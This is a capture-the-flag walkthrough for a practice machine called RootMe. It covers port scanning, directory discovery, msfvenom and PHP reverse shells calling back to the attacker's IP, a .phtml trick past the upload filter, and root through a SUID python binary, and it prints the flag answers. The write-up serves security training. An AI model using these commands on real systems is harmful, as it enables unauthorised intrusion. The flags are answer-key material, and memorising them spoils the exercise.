RootMe

This guide contains the answer and steps necessary to get to them for the RootMe room.

Table of contents

• Reconnaissance
• Getting a shell
• Privilege escalation

Reconnaissance

1. Scan the machine, how many ports are open?

We use nmap for this with:

nmap -sV -sS 10.10.77.33 -p-     

Click for answer

2

1. What version of Apache is running?

The Apache version can be seen from the scan. Otherwise add the -sV argument.

Click for answer

2.4.29

1. What service is running on port 22?

This can also be found from the scan when using -sV.

Click for answer

ssh

1. Find directories on the web server using the GoBuster tool.

2. What is the hidden directory?

Finding hidden directories, can be done with the following command:

gobuster dir -u 10.10.77.33:80 -w /usr/share/wordlists/seclists/Discovery/Web-Content/directory-list-2.3-medium.txt

One of these is not a standard folder for a webserver.

Click for answer

/panel/

Getting a shell

1. user.txt

The first to do is create a reverse shell payload. My first attempt was to use msfvenom to create a linux reverse tcp shell and output it as an .elf file.

msfvenom -p  linux/x64/meterpreter/reverse_tcp LHOST=10.10.82.70 LPORT=1337 -f elf -o letmein.elf

This can now be uploaded to the webserver.

Unfortunately, I did not get a connection as the files was simply downloaded. We need to try a different format. Php is another usefull format for a reverse shell.

msfvenom -p php/reverse_php LHOST=10.10.82.70 LPORT=1337 -f raw > letmein.php

The server doesn't let us upload a .php file. This might be bypassed by renaming the file extension. Simply renaming to .jpg.php did not work in this case, but .phtml did.

mv letmein.php letmein.phtml 

Now that it is uploaded we start our listener again and click on the file we uploaded in the /uploads/ directory.

nc -nlvp 1337

Although the shell is connecting to our machine, it never seems to be fully established. So another method is in order. A pre-made php reverse shell can be obtained from 'pentestmonkey' on github.

We only need to add our own IP and port to listen on.

Save this file with the phtml extension en upload to the server. Setup the listener on port 1337 and execute the file from the /uploads page.

Success!

Now we can search for the file user.txt and open it to get our flag.

find / -name user.txt 2>/dev/null

Click for answer

THM{y0u_g0t_a_sh3ll}

Privilege escalation

1. Search for files with SUID permission, which file is weird?

Using: find / -perm -4000 2>/dev/null we can search for any binaries with their SUID bit set.

Click for answer

/usr/bin/python

1. Find a form to escalate your privileges.

2. root.txt

After we identify the outlier, we can go to the GTFO bins website to find out how we can abuse this specific binary.

We need to add the path to the python binary on this machine to the command. Then we can simply run it in our shell.

/usr/bin/python -c 'import os; os.execl("/bin/sh", "sh", "-p")'

We got root access!

Now lets search for the root flag.

find /root -name root.txt 2>/dev/null

Click for answer

THM{pr1v1l3g3_3sc4l4t10n}